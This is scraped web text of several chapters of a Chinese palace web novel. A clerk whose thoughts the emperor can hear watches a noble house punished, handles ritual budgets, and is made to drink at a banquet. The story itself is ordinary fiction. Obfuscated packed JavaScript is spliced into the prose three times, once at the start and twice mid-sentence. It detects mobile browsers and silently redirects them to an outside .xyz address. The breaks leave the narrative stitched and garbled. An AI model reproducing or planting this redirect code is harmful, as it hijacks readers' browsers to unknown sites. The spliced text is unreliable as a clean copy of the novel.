RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434152|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德福立刻上前:“老奴在。” “即刻着人宣旨,不得延误。” “是。”李德福双手捧起那卷刚刚写就、墨迹未干的圣旨,躬身退下,脚步又快又稳。 林砚还愣在原地,看着空荡荡的御案,仿佛还能看到刚才那旨意上杀气腾腾的字句。 这就下旨了? 陛下这效率也太高了吧! 为什么? 总不可能是因为他来告状吧? 不对不对,陛下会让自己看着礼部,定然也会找人看着长平伯府,今日长平伯府发生的事情,陛下只怕是早在自己进宫告状前便已然知晓。 想到这里,林砚倒吸一口凉气。 果然,他还是低估了大老板。 萧彻收拾武海闵等人的时候没有手软,那对待长平伯府自然也不会。 一股难以言喻的舒爽感如同温泉般咕嘟咕嘟地从心底冒出来,林砚暗爽。 【陛下威武!陛下英明!陛下干得漂亮!让这群蛀虫炫富!让他们拿炭火烤菊花!这下看他们还嘚瑟!食邑砍半,田产缩水,够他们肉疼的!】 萧彻听着耳边那毫无章法、只剩下纯粹欢呼雀跃的心声,唇角向上弯了一下。 他抬手,端起旁边温着的茶盏,轻轻吹了吹浮沫。 嗯,今日这茶,滋味甚好。 林砚还沉浸在巨大的快乐里,嘴角疯狂上扬,又努力想憋住,表情管理近乎失控。 他内心的小人已经拿出锣鼓家伙什,开始敲锣打鼓放鞭炮,循环播放“陛下万岁”。 【好想看长平伯府接旨时的表情!】 【一定很精彩!】 【可惜看不到现场,遗憾,太遗憾了!】 萧彻慢悠悠地啜了口茶,眼睫微垂,遮住眼底一闪而过的了然。 他放下茶盏,像是忽然想起什么,对着空无一人的殿角淡淡开口:“金九。” 一道黑影如同融入夜色的水滴,悄无声息地凝聚成形,躬身抱拳:“属下在。” “你亲自去一趟长平伯府,看着旨意宣完,瞧瞧动静。”萧彻语气平淡,仿佛只是吩咐一件寻常小事,“若有什么,回来报与朕知。” 金九:“是。” 萧彻顿了顿,像是才注意到旁边竖着耳朵,眼睛唰一下亮起来的林砚,随意地补充了一句,声音里听不出什么情绪:“顺便,带上林卿一起去,让他也看看。” 林砚:“!!!” 他抬起头,眼睛瞪得比刚才看圣旨时还圆,脸上写满了“真的吗?我可以吗?还有这种好事?”。 【陛下!您是我亲陛下!您真是英明神武算无遗策体贴入微!】 金九那张万年不变的脸上似乎也掠过一丝极细微的诧异,但立刻恢复如常,抱拳:“属下遵命。” 萧彻挥了挥手,重新拿起一份奏章,仿佛刚才只是安排了一件微不足道的小事:“去吧,动静小些。” “微臣谢陛下隆恩!”林砚赶紧行礼,声音都激动得有点发飘。 他跟着金九,几乎是飘着出的花厅,脚步轻快得能原地起飞。 月色清冷。 金九的身影在前方如同鬼魅,悄无声息。 林砚跟在金九身后狗狗祟祟。 陛下好呀陛下妙。 23. 第 23 章 夜色浓得化不开,一点月光勉强给长平伯府那气派的飞檐勾了道模糊的银边。 林砚被金九提溜着,悄无声息地趴在了长平伯府某段高墙的墙头上。 一个绝佳的偷窥,啊不是,侦查视角。 冰冷的砖石硌得林砚肚子有点凉,但他顾不上,盯着府内那一片灯火通明,心里盘算着李德福何时会到。 前院的赏菊宴显然刚散场不久,空气里还残留着酒肉香和隐约的丝竹声。 宾客尚未完全散去,三三两两的华服身影还在廊下说笑,几个喝高了的公子哥正互相搀扶着,嚷嚷着要去什么地方“再饮三百杯”。 林砚小声跟金九嘀咕:“他们不会是想去喝花酒吧?” 金九点了点头。 林砚:“???” 还真是? 不过……金九为什么会这么肯定地点头啊! 就在这片看似和谐的氛围里,李德福带着一队禁军,骤然闯入。 李德福那张惯常堆笑的白净面皮此刻绷得紧紧的,手里明黄卷轴一展,尖利的嗓音瞬间划破了长平伯府:“圣旨到——长平伯接旨!” 喧闹声戛然而止。 方才还醉眼朦胧的公子哥们猛地一个激灵,廊下说笑的宾客们笑容僵在脸上。 长平伯本人连滚带爬地从内堂跑出来,冠歪袍斜,脸上那点残存的酒意被惊恐冲刷得一干二净,扑通一声就跪在了尚且散落着菊花瓣的青石板上,身后呼啦啦跪倒一片。 李德福手持明黄圣旨,面无表情地站在院中,身后跟着一队煞气腾腾的禁军士兵,盔甲在灯火下反射着冷硬的光。 之前在林砚面前炫耀炭火银钱的世子爷,此刻正跪在他爹身后,脑袋埋得低低的,肩膀微微发抖。 林砚扯了扯金九的衣服:“他们至于怕成这样吗?不是都说不做亏心事,不怕鬼敲门?” 金九一言难尽地看了一眼林砚。 你以为谁都跟你似的,在陛下面前肆无忌惮? 陛下也不是谁都宠信的。 “长平伯府,世受国恩,理当克勤克俭,以为勋戚表率,然竟奢靡成风,不恤民力,甚失朕望……着即削减食邑七百户为三百五十户,永业田两千五百亩为一千亩,钦此——” 每念一句,长平伯的脸色就灰败一分,周围那些宾客的脑袋就垂得更低一分。 当听到“削减食邑七百户为三百五十户,永业田两千五百亩为一千亩”时,长平伯猛地抬起头,脸上血色尽褪,嘴唇哆嗦着,仿佛下一口气就要接不上来,直接表演一个原地去世。 林砚撇撇嘴,他还以为长平伯府有多了不起呢,不还是被萧彻一道圣旨吓成这个鬼样子? 那些方才还高谈阔论的宾客,此刻恨不得把自己缩进地缝里,个个脸色精彩纷呈,惊惧、庆幸、幸灾乐祸……种种情绪在那一片死寂中无声流淌。 长平伯身后的女眷中传来几声压抑细碎的啜泣,很快又被人捂住了嘴。 那位世子爷更是浑身一颤,竟直接瘫软下去,被旁边的家仆手忙脚乱地扶住,才没当场出丑。 李德福冷冷地看着这一幕,将圣旨往前一递:“伯爷,接旨吧。” 长平伯像是被烫到一样,猛地回过神,手脚并用地爬前两步,双手颤抖着高高举起,接过那卷仿佛有千钧重的绢帛,声音嘶哑:“臣……接旨。” 李德福哼了一声,不再多看这群失魂落魄的勋贵一眼,转身带着禁军,如来时一般肃杀地离去。 他们一走,前院那根紧绷的弦仿佛瞬间断了。 “爹!爹!”世子猛地扑过去,抓住长平伯的胳膊,声音带着哭腔,“怎么会这样?食邑减半?田产也没了一半?这往后可怎么活啊!” “闭嘴!”长平伯猛地甩开他,脸色铁青,胸口剧烈起伏,看着手中那卷圣旨,像是看着索命的阎罗帖,猛地扭头,目光猩红地扫过身后那些哭泣的女眷和惶惶不安的子孙,低吼道,“哭什么哭!还嫌不够丢人吗!” 但他自己的手也在抖,抖得几乎拿不住那圣旨。 整个前院乱成一团,方才的富贵风流、笑语喧阗荡然无存。 林砚趴在墙头,把这一切尽收眼底。 看着长平伯那副天塌地陷的模样,看着世子爷瘫软如泥的怂样,看着那些女眷的惊恐哭泣…… 他心里升起一种难以言喻的感触。 就,挺不明白的。 明明已经这么有钱了,关起门来怎么享受不行?非得大张旗鼓地显摆,生怕别人不知道他们家用银丝炭烤菊花。 这下好了,显摆到皇帝眼皮子底下了吧? 萧彻才登基一年多不假,可皇帝就是皇帝,手里握着生杀予夺的大权,跟他对着干,图啥?图刺激?图让皇帝记住你家特别有钱特别能造? 林砚摇了摇头,无法理解这种作死的行为。 金九碰了碰他的胳膊,示意该走了。 林砚点点头,最后看了一眼底下那片混乱,跟着金九,悄无声息地滑下墙头,融入夜色。 金九将林砚送到林府后巷那棵歪脖子老槐树下,便如来时一般,无声无息地消失了。 脚踩在熟悉的自家地面上,林砚还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以他这位大老板,在原则问题上,是半点不含糊的。 况且,在这地方,皇帝自己就是最终极的原则。 林砚作为一个资深社畜,对此有着清醒的认知:领导是正确的,跟着领导走。 领导指东,绝不能往西;领导打狗,绝不能撵鸡。 更何况,他现在这位顶头大老板萧彻,行事有度,脑子清醒,赏罚分明,还不抠门。 他一点也不讨厌,甚至……还有点欣赏。 这大腿,可得抱稳了。 24. 第 24 章 又是早早起床去上早朝的一天。 林砚混在官员队列里,觉得自己像是一根被强行插进礼器堆里的歪脖子葱,还是隔夜的那种。 好困啊,想冬眠。 太仪殿的门槛高得能绊死驴,他小心翼翼迈过去,生怕一个踉跄表演个五体投地,明天京城头条就是“新晋林郎中御前失仪”。 林砚默默缩在自己的位置上,努力降低存在感,恨不得原地隐身。 然而龙椅上的那位,今天显然不打算让任何一个人好过。 萧彻甚至没等日常流程走完,在李德福刚喊完“有本启奏”的尾音还悬在梁上时,便开了金口。 “朕听闻了一桩趣事,想与诸卿分享。”萧彻的指尖在龙椅扶手上轻轻一点,目光缓缓扫过下方鸦雀无声的群臣,最终若有似无地落在勋贵队列前列,“说是重阳赏菊,竟有人恐娇花畏寒,需得以银丝炭盆环绕烘烤,方显其国色天香。” 几个站在前排的勋贵脖子下意识缩了缩。 林砚把头埋得更低,内心却瞬间支棱起来。 【来了来了!陛下要开大了!】 【快骂他们!】 萧彻的嘴角绷紧了一瞬,像是在极力压制某种情绪。 声音陡然转沉,带着一种山雨欲来的压迫感:“朕竟不知,我大渝的勋贵之家,已富贵奢靡至此等地步,银丝炭价几何?寻常百姓家一冬所费柴炭银钱几何?尔等可知?!” 没人敢接话,空气凝固得能滴出水。 还真没有用银丝碳的人会知晓寻常人家用的炭火多少钱一斤。 “《左传》有云,‘俭,德之共也;侈,恶之大也’。”萧彻的声音在寂静的大殿里回荡,引经据典,字字如刀,“汉文帝惜百金之费,辍露台之役,方有文景之治,尔等祖辈随太.祖取天下,挣的是浴血搏命之功,不是让你们躺在功劳簿上,效仿石崇王恺,竞相奢靡,斗富夸饰!” 一位站在勋贵队列里的老侯爷,脸色开始发白,手指微微颤抖。 【哇!陛下博古通今!骂得有理有据!】 【石崇王恺都出来了!这是直接钉死他们蠢货炫富的标签啊!漂亮!】 萧彻的眼风似无意般扫过林砚所在的方向,继续输出,语调愈发冷厉:“《尚书》言,‘民惟邦本,本固邦宁’,今岁寒潮早至,朕夙夜忧心,恐百姓受冻馁之苦,三令五申,要各地体恤民力,监控炭薪物价,尔等倒好。” 他猛地一拍龙椅扶手,虽未发出巨响,那动作却让所有人心头一跳:“竟将朕的谕示视为无物,枉顾民生多艰,枉顾朝廷法度,行此荒唐无度之事!尔等眼中,可还有朝廷?可还有朕?” 【拍椅子了拍椅子了!虽然没声音但是气势到位了!】 【陛下帅炸!这压迫感!这气场!啊啊啊!】 【没错!他们眼里就只有自己那点排场!根本不管老百姓死活!】 林砚听得心潮澎湃,恨不得当场鼓掌叫好,脸上还得死死绷住,只能凭借疯狂点头来表示赞同。 他每点一下头,内心的赞美就如滔滔江水奔涌而出。 萧彻像是被无形地注入了动力,骂得更起劲了,从《礼记》斥到《论语》,从汉唐盛世讲到前朝覆灭,将长平伯府那点破事上升到了动摇国本、辜负圣恩、愧对祖宗的高度。 每一句引经据典的斥责,都换来林砚内心更汹涌的喝彩。 【陛下好口才!这不带脏字骂人的水平,我们礼部那些老学究都得甘拜下风!】 【学到了学到了!以后骂武海闵之流就这么引经据典地骂!】 【陛下继续!不要停!让他们知道知道什么叫社会的毒打!皇权的铁拳!】 朝臣们噤若寒蝉,脑袋一个比一个垂得低,内心早已惊骇欲绝。 陛下登基以来,虽手段雷厉,却鲜少在朝会上如此情绪外露,更别提这般引经据典、长篇大论地训斥臣子。 今天这是怎么了?就因为长平伯府烧炭烤花? 虽然这事是挺蠢的,但也不至于让陛下发这么大火吧? 难道陛下是要借题发挥,狠狠敲打所有勋贵,以及文武百官? 一时间,无数道隐晦的、带着探究和恐惧的视线在空气中交错,人人自危,都在心里飞速盘算自家有没有什么逾矩的、可能被抓住把柄的奢靡行为。 好长一段时间,太仪殿内只有皇帝清冷而饱含怒意的声音,以及林砚那无声但激烈的内心应援。 终于,萧彻似乎骂累了,他冷哼一声,收了尾。 “长平伯府奢靡无状,朕已小惩大诫,削减其半数千户,收回部分永业田,望尔等引以为戒,若再有此等之事,朕绝不轻饶。” 那句“小惩大诫”让不少人心头又是一哆嗦。 这都削了一半食邑了还叫小惩? “退朝!”萧彻拂袖起身,留下满殿心神不宁的臣子。 官员们如同被赦免的死囚,低着头,迈着僵硬的步伐,悄无声息地鱼贯而出,没人敢交头接耳,气氛凝重得能拧出水。 林砚混在人群里,也跟着往外溜,内心还在回味刚才那场精彩绝伦的“陛下の喷人独秀”。 【爽!太爽了!】 【希望陛下保持这个频率,多骂骂这些蛀虫!】 【最好成立个陛下骂人专属频道,我天天欣赏!】 走在他前面的两位侍郎大人正在用气音低声交流。 “陛下今日火气甚大啊。” “何止甚大,简直是雷霆震怒!自陛下登基以来,头一回见陛下如此。” “长平伯府也是自作孽,撞枪口上了。” “怕是没那么简单,陛下这是要收紧缰绳了。” “往后这日子,可得越发谨慎了……” 林砚竖起耳朵偷听,深以为然。 出了宫门,冷风一吹,林砚才从看热闹的兴奋里回过神。 啊,又要去礼部上班了。 林砚耷拉着脑袋,认命地爬上来接他的马车,晃晃悠悠往礼部去。 虽说萧彻取消了重阳大典,让他短暂地偷了个懒,但祠部司的活是永远干不完的。 秋祀又来了。 社稷、日月、岳渎,“京师三祀”,一个比一个隆重,一个比一个繁琐。 选择吉日、拟定流程、协调太常寺、准备祭品、安排仪仗、撰写祭文……桩桩件件都得祠部司牵头。 林砚作为新任郎中,更是责无旁贷,得“抛头露面”,跟各衙门那些老油条打交道。 光是想到太常寺那位慢悠悠仿佛活在另一个时间维度的少卿大人,还有光禄寺那个锱铢必较恨不得把祭品预算抠出火星子的老主簿,林砚就觉得自己头风要发作了。 他瘫在马车里,望着车顶摇晃的流苏,发出一声社畜的悲鸣。 老天爷啊,信男愿一生荤素搭配,换一个不用上班也有钱花的世界早日到来。 马车停在了礼部门口。 林砚深吸一口气,把满脑子“不想上班”的怨念强行压下去,换上一副“我很热爱工作”的虚伪面孔,慢吞吞地挪下车。 祠部司公廨里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434154|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气氛比太仪殿退朝时好不了多少。 每个人脸上都写着“谨言慎行”四个大字,连呼吸都带着小心翼翼。 看来昨天萧彻对长平伯府的处置已经传遍了,大家都夹起尾巴做人,不敢去触萧彻的霉头。 王俭正拿着一份文书,眉头皱得能夹死苍蝇,看到林砚进来,立刻小步快趋迎上来,姿态放得极低:“林大人,您可算来了。” “王主事,何事?”林砚接过文书,扫了一眼,是太常寺那边送来的秋祀初拟流程,上面密密麻麻写满了需要祠部司协同的事项。 “太常寺那边催得急,说秋祀日子近了,诸多细节亟待核定。”王俭搓着手,声音压得低低的,“光禄寺也递了话,问祭品采买的预算何时能批……” 林砚只觉得太阳穴突突直跳。 他就知道。 秋祀这玩意儿,比现代公司的年度审计还麻烦一百倍。 各个部门互相踢皮球,谁都怕多干一点活,谁都想少担一点责。 他这个新任郎中,就是那个被踢来踢去的皮球中心点。 以前武海闵在任,他爹是吏部尚书,自然是没有人敢把皮球踢给武海闵。 果然出门在外还是要靠爹娘啊。 “行了,我知道了。”林砚摆摆手,拿着那厚厚一沓文书,走向自己那个用屏风隔出来的“单间”。 他认命地翻开太常寺的流程草案。 第一条就让他想掀桌。 “建议增设迎神乐舞环节,需遴选童男童女各三十六名,习练新编《云门》之舞,以彰陛下仁德,感召天神……” 林砚面无表情地提笔蘸墨,在旁边批注:“驳回,理由时日紧迫,排练不及,新编乐舞未经礼部审定,不合旧制,童男童女恐耐不得秋寒,若染风寒,反为不美。” 这些人就不能按照之前的章程工作?非要临时抱佛脚搞创新? 真是可惜了,古代没有创新创业大赛。 批完这条,他继续往下看。 光禄寺的预算清单更是重量级。 “三牲需选用未阉之黑毛猪、角端正面之青牛、毛色纯白之羔羊,每样各九头,以备遴选……” 请问呢,你们是没有收到陛下如何处置长平伯府的消息? 林砚嘴角抽搐。 他大笔一挥:“规模过大,靡费过甚,改为三牲各三头,择优选用,余款核查后,报户部酌定是否划入炭薪补贴。” 一整个上午,林砚就在各种奇葩文书和内心疯狂吐槽中度过。 他感觉自己像个没有感情的驳回机器,不是在驳回不合理建议,就是在去驳回不合理建议的路上。 期间还得应付各个衙门派来“沟通协调”的人。 太常寺来的是一位主簿,说话慢得像树懒,反复强调《云门》之舞对彰显祭祀隆重性的重要性。 林砚耐着性子听他掰扯了半天,最后只问了一句:“若因排练此舞延误祀期,或孩童冻病,贵寺可愿一力承担?” 那主簿顿时卡壳,支吾了半天,灰溜溜地走了。 光禄寺来的则是个老滑头,绕着弯子打探削减预算后能否从别的项目找补回来。 林砚全程“嗯嗯啊啊”,打着官腔,就是不松口,最后那老滑头也没辙,只能悻悻离去。 应付完这几波人,林砚只觉得心力交瘁。 林砚瘫在椅子上,眼神放空,开始思考人生。 为什么穿越了还是逃不过甲方、乙方和踢皮球的命运? 难道这就是社畜的终极宿命? 25. 第 25 章 林砚觉得,自己像是被塞进了一个名为“应酬”的滚筒里,正被生活无情地搅拌。 酉时已过,天色彻底沉了下来。 林砚磨磨蹭蹭地挪出礼部大门,感觉脚步比去上坟还沉重。 太常寺少卿周大人做东,说是贺他升迁之喜,几个相关衙门的同僚作陪,地点就定在离皇城不远的“百味楼”。 听名字倒是朴实无华,不是什么一掷千金的销金窟。 不是豪华酒楼,不吃山珍海味,确实不算违逆陛下近来“崇尚节俭”的旨意。 这理由冠冕堂皇,堵得他拒绝的话在舌尖转了三圈,又硬生生咽了回去。 职场之上,有些面子,你不给,就是不懂事。 马车在百味楼前停下。 门脸不大,装修也寻常,看着确实像是个吃顿便饭的地方。 林砚深吸一口气,脸上挂起标准的、略带歉意的笑容,抬脚迈了进去。 伙计引着他上了二楼雅间。 门一推开,一股混合着酒菜香气和某种圆滑世故的热浪便扑面而来。 “哎哟!林大人,林郎中!可把您给盼来了!”太常寺少卿周大人立刻从主位上站起身,笑容满面地迎上来,亲热地抓住林砚的胳膊,力道大得像是怕他跑了,“就等您了!快请上座,上座!” 这位周大人年约四旬,面皮白净,身材微丰,一双眼睛总是眯缝着,未语先带三分笑,看着像个和气生财的富家翁, 但林砚直觉,这是个在官场油锅里浸了多年的老狐狸,滑不留手。 “周大人太客气了,下官来迟,恕罪恕罪。”林砚一边拱手寒暄,一边被半推半就地按在了周大人旁边的位置上。 目光飞快一扫,桌上果然如周大人所说,没什么离谱的珍馐,都是些京中酒楼常见的菜色,烧鹅、蒸鱼、几样时蔬小炒,中间咕嘟着一锅热气腾腾的羊肉暖锅。 酒水倒是已经满上了,几个白瓷酒壶搁在桌边,散发着浓郁的酒气。 林砚心里那点侥幸“噗”一下,彻底熄灭了。 白酒! 还是古代这种纯度不明、后劲可能贼大的白酒! 我以为你们只是想要我手中的权,没想到你们是打算要我的命。 林砚如丧考妣。 天知道他穿越前最恨的就是酒桌文化! 那些五花八门的劝酒词,什么“不喝就是看不起我”、“感情深一口闷”、“是兄弟就干了这杯”,每次都能成功把他灌成一滩只会呵呵傻笑的烂泥,第二天醒来头痛欲裂,仿佛被十头驴轮流踢过脑子。 原以为穿越了就能摆脱这噩梦,没想到啊没想到,这陋习特么的还跨越时空精准打击! 菜没吃两口,周大人就笑呵呵地端起了酒杯:“来来来!诸位,让我们共举此杯,恭贺林郎中高升!林郎中年轻有为,深得圣心,日后必定前程似锦,鹏程万里啊!” “恭贺林大人!” “林大人请!” “下官先干为敬!” 桌上其他人立刻纷纷附和,端起酒杯,目光齐刷刷地聚焦在林砚身上,脸上洋溢着一种心照不宣、热情到令人窒息的笑容。 林砚看着眼前那杯清澈见底、却散发着不详气息的液体,感觉喉咙发紧,胃里已经开始提前抗议。 他很想说“我酒精过敏”、“我待会儿还要回衙门加班”、“我娘喊我回家吃饭”…… 但在周大人那笑眯眯的目光下,在所有同僚“你不喝就是不给我们面子”的无声注视下,林砚挤出一個比哭还难看的笑容,硬着头皮端起了酒杯。 “多谢周大人,多谢诸位同僚厚爱,下官……下官惭愧。”他声音干涩,试图蒙混过关,“下官酒量浅薄,实在不胜酒力,可否……” “诶!”周大人立刻打断他,故作不悦地板起脸,随即又笑起来,语气亲热得像是在哄自家子侄,“林郎中这就是不给面子了!今日是为你庆贺,这第一杯酒,岂有不饮之理?浅酌即可,浅酌即可!意思到了就行!” 周围立刻响起一片“是啊是啊”、“周大人说得对”、“林大人不必拘谨”的起哄声。 林砚心里骂骂咧咧。 浅酌个鬼!你们这帮家伙一看就是惯犯了! 还意思到了就行?我意思意思你放过我行不行? 林砚眼一闭,心一横,仰头把那杯白酒灌了下去。 辛辣的液体如同烧红的刀子,从喉咙一路灼烧到胃里,所过之处一片狼藉。 林砚被呛得猛地咳嗽起来,眼泪都飙出来了,感觉整个食道和胃袋都在疯狂呐喊“有刺客!”。 “好!林郎中爽快!”周大人抚掌大笑,仿佛林砚干了什么了不得的壮举。 其他人也跟着叫好,气氛瞬间更加“热烈”起来。 林砚:爽你大爷。 一杯下肚,就像推倒了第一块多米诺骨牌。 劝酒的理由层出不穷。 “林郎中,下官敬您一杯,日后祠部司与太常寺公务往来,还望林郎中多多关照啊!” “林大人,我光禄寺的预算,您可高抬贵手……” “林兄,我干了,您随意!”然后对方一口闷了,目光灼灼地盯着你。 “哎哟,林大人脸都红了,真是实在人!再来一杯,这酒啊,越喝越暖和!” 桌上的烤鸭是假的,真正的烤鸭是他林砚。 被反复烧灼,直到整个人红到熟透。 林砚试图用茶水蒙混,立刻被发现,被笑着“罚”了三杯。 想多吃点菜垫垫肚子,刚夹起一筷子菜,新的酒杯就又递到了眼前。 菜没吃几口,酒已经下去了不知多少杯。 头晕,目眩,脚下发飘,看人都有重影。 好嘛,想他读书那么多年眼睛都没有任何问题,现在给他搞成散光了。 雅间里嘈杂的劝酒声、笑闹声仿佛隔了一层厚厚的棉花,嗡嗡作响。 周大人那张笑眯眯的脸在眼前晃动,声音像是从很远的地方传来,带着一种诱哄的意味:“林郎中啊,你看这次秋祀,各处都紧巴巴的,我们太常寺也是难做,那几个新添的祈福环节,实在是民心所向,不好裁撤,这相关的用度,祠部司这边,是不是能稍微,通融一二?预算报告上,稍微写得灵活些?” 旁边立刻有人帮腔:“是啊林大人,都是为朝廷办事,有些细枝末节,不必过于较真。” “规矩是死的,人是活的。” 林砚感觉自己的脑子像一锅被酒精煮开的浆糊,理智正在一点点被蒸发。 他努力想集中精神,想拿出白天在衙门里驳回无理要求时的犀利,但舌头像是打了结,眼皮重得抬不起来。 通融?灵活? 你们不就是想让我在预算上注水? 当我是郑经那个棒槌吗? 陛下刚砍了长平伯府……你们就……就…… 念头断断续续,卡得林砚思绪混乱。 林砚晃了晃越来越沉的脑袋,想拒绝,发出的声音却含混不清:“周大人……这不合规矩……预算需得……需得实 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周大人被打断了好事,心头不悦,但看对方衣着气度不像寻常人,勉强压下火气,端着官架子问道:“你是何人?怎可擅闯……” 话未说完,那男子根本不理他,径直走到林砚身边。 他先是扫了一眼桌上一片狼藉的酒壶和林砚那副明显喝高了的模样,眉头几不可察地蹙了一下。 随即,他探手入怀,摸出一块令牌,非金非木,在雅间昏黄的灯光下,表面似乎有暗光流动。 他将令牌亮在周大人眼前,声音平板无波,却带着一种不容置疑的冷硬:“金影卫办事。” 刚才还劝酒劝得欢的众人,脸上的血色“唰”一下褪得干干净净,酒意瞬间吓醒了大半,个个僵在原地,大气不敢出。 金影卫!皇帝的直属暗卫! 周大人脸上的笑容彻底僵住,眼角不受控制地抽搐起来,后背瞬间被冷汗浸透。 那金影卫——正是金九,根本不在意他们的反应。 他收起令牌,弯腰,毫不费力地将已经软成一滩泥、还在含糊嘟囔“不喝了……真不能喝了……”的林砚从椅子上拎了起来,像拎一只待宰的羔羊。 “人,我带走了。”金九丢下这句话,半扶半拖着林砚,转身就往外走。 所有人如同被施了定身术,眼睁睁看着金九把人带走,直到脚步声消失在楼梯口,雅间内还是一片死一样的寂静。 周大人腿一软,跌坐回椅子上,脸色灰败,手里的酒杯“啪嗒”一声掉在地上,摔得粉碎。 金影卫突然出现带走了林砚,难道林砚这么快就失了圣心? 那他今日费时费力为了什么? 楼下,金九面无表情地将几乎不省人事的林砚塞进一辆毫不起眼的青篷马车。 车帘落下,隔绝了外界。 马车并未驶向林府的方向,而是转了个弯,朝着皇城根下,悄无声息地融入了沉沉的夜色。 车厢里,林砚歪倒在座椅上,呼吸间全是浓重的酒气,眉头紧皱着,似乎即使在醉梦中,也在抗拒着那该死的白酒。 金九坐在他对面,目光沉静地看着他。 陛下只是让他暗中留意与林砚接触的官员,却没想到会撞上这么一出。 这林郎中酒量实在浅薄,几杯下肚就醉得不省人事。 虽未承诺哪些人什么,但还是到御前交代一番才好。 马车轱辘,压过空旷的街道,朝着那重重宫阙疾行而去。 26.第 26 章 金九半扶半拖着林砚,一路穿宫过殿,脚步快而稳,活像搬运一件大号的行李。 林砚软绵绵地挂在他胳膊上,脑袋一点一点,偶尔发出几声含糊的嘟囔,内容介于“不喝了”和“陛下救命”之间,听得金九那张万年不变的脸时不时的就抽一下。 太仪殿侧殿暖阁的门被无声推开。 萧彻正倚在软榻上翻看一本奏折,闻声抬眼。 然后,他整个人顿住了。 目光落在金九臂弯里那个面色潮红、眼神涣散、官袍皱得像咸菜干、浑身散发着浓郁酒气的林砚身上。 萧彻的眉头缓缓蹙起,捏着奏折边缘的指尖微微用力。 这是……去酒缸里泡了发酵了? “陛下。”金九的声音平板无波,“属下将林大人带回来了。” 萧彻放下奏折,坐直了些,声音里带着一丝难以置信的无语:“……这是在做什么?” 金九言简意赅,将百味楼雅间里周大人如何热情做东、同僚如何轮番劝酒、林砚如何从挣扎到放弃抵抗、最终不省人事的过程,毫无添油加醋但也毫无遮掩地复述了一遍。 包括周大人那些“通融一二”、“灵活处理”的暗示。 萧彻听着,脸上没什么表情,只是搭在膝盖上的手,指尖轻轻敲击了两下。 他还是太子时,就不太看得上他父皇那套“水至清则无鱼”的放任之道。 瞧瞧,先帝放任出来的好习惯,都养成什么样了。 投机取巧,钻营算计,拉帮结派,酒桌上套交情办事情。 他轻嗤一声,像是被什么脏东西腻歪到了。 “今日都有谁?”萧彻问,声音听不出喜怒。 金九报了几个名字,太常寺少卿周大人赫然在列,还有光禄寺、甚至户部的两个官员。 萧彻听完,没什么表示,只挥了挥手:“先把他弄去清漪阁侧殿歇着,让宫人伺候着喂碗醒酒汤。” 李莲顺立刻躬身应下,指挥两个小太监上前,从金九手里接过那滩醉泥,小心翼翼地架走了。 殿内恢复安静。 萧彻的目光重新落回金九身上,淡淡道:“李德福。” 李德福立刻上前一步:“老奴在。” “听见了?”萧彻语气随意,“领着禁军,去这几人家里,挨个打二十板子,动静弄大些,让他们长长记性。” 李德福心头一凛,面上丝毫不显,只恭敬道:“是,老奴这就去办。” 二十板子,伤筋动骨,颜面扫地,却又不会真要了命。 陛下这是敲山震虎,告诉所有人,新朝新气象,旧日那套酒桌办事、投机钻营的规矩,该改改了。 李德福悄无声息地退下,殿内又只剩下萧彻和金九。 萧彻重新拿起那本奏折,却似乎有些看不进去,指尖在纸页上无意识地摩挲着。 清漪阁侧殿。 林砚被两个小太监几乎是抬到了床上。 整个人还是人事不省的状态,眉头紧皱,似乎梦里都在被迫喝酒。 一个宫女端着一碗温热的醒酒汤,小心翼翼地靠近。 另一个宫女则试图帮他解开那身沾满了酒气、皱巴巴的官袍,好歹换身干净舒服的中衣。 手指刚碰到林砚的衣襟,原本死鱼般的林砚猛地弹动了一下,眼睛都没睁开,双手却如同护崽的老母鸡,死死攥住了自己的衣襟,喉咙里发出抗拒的呜咽。 宫女吓了一跳,不敢用力掰,只好轻声哄着:“林大人,松手,换了衣裳好睡……” 林砚充耳不闻,攥得更紧了,仿佛那身酒气熏天的官袍是他最后的尊严。 两个宫女面面相觑,束手无策。 正僵持着,殿门口光线一暗。 萧彻不知何时过来了,正负手站在那儿,看着床上那副誓死保卫衣服的醉鬼形象,眉头挑了一下。 他本来只是顺路过来看看,没想到还能看到这么一出。 萧彻挥了挥手,让束手无策的宫人们都退下。 宫人们如蒙大赦,悄无声息地退了出去,还贴心地带上了门。 殿内只剩下萧彻和床上那个醉醺醺、还在跟无形之力搏斗的林砚。 萧彻踱步到床边,居高临下地看了片刻。 睡得倒是沉。 萧彻随意地伸出手,想去拉开林砚护在胸前的手。 谁知他的指尖刚碰到林砚的手背,林砚那紧绷的、誓死抵抗的力道忽然就松懈了。 攥得死紧的手指一根根松开,温顺地搭在了身侧,甚至还无意识地往萧彻这边蹭了蹭,仿佛找到了什么安全依靠。 萧彻:“……” 刚才跟宫人拉扯的那股劲儿呢? 萧彻趁机很顺利地把林砚的衣襟解开,将那身难闻的官袍剥了下来,扔到一边。 动作间,林砚配合得不可思议,让抬手就抬手,让翻身就翻身,乖顺得跟刚才判若两人。 萧彻简直找不到话说。 这人还挺会享受,宫人们的伺候他不要,非要皇帝亲自伺候。 